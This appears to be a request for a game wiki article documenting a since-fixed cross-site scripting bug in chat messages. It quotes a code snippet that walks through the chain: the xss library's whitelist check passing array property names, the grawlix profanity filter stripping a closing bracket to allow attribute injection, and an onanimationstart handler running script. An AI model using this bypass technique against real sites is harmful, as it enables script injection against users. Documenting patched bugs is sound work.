[Request] XSS exploit in chat messages

[AyuBloom]

What category does your article belong to
Inactive Bugs

Describe the idea in sections
Documenting how the XSS exploit worked - how people exploited it in scripts and the game itself.

Add additional detail for the article

Code snippet by ABCxff explaining the exploit in JS:

// Vulnerable code
grawlix(xss(text, { whiteList: [] }));

// xss(text, options):
function xss(text, options) {
  // ...
  filterElements(text, (tag) => {
    // VULN #1: "keys" in [] holds true as [].keys exists
    // this is fixed in later versions of xss.
    if (tag in options.whiteList) {
      // Allowed
      return true;
    }

    // Disallowed, filter out
    return false;
  });
}

// This means xss("<keys>", { whiteList: [] }) = "<keys>"
// This is nice but we can't do anything fun because attributes are not allowed
// so:
// VULN #2: We use grawlix to sanitize out the closing > tag, giving us arbitrary
// attribute injection.
//
// Now we have
//    grawlix(xss("<keys>hit foo='bar'", { whiteList: [] }))
//    = grawlix("<keys>hit foo='bar'")
//    = ("<key***** foo='bar'"
//
// NOTE: HTML spec closes this unclosed element naturally

// How do we get full RCE?
// We use the loading-animation, which starts automatically by def'n in the css,
// then we add an onanimationstart="vuln()" attribute to run our code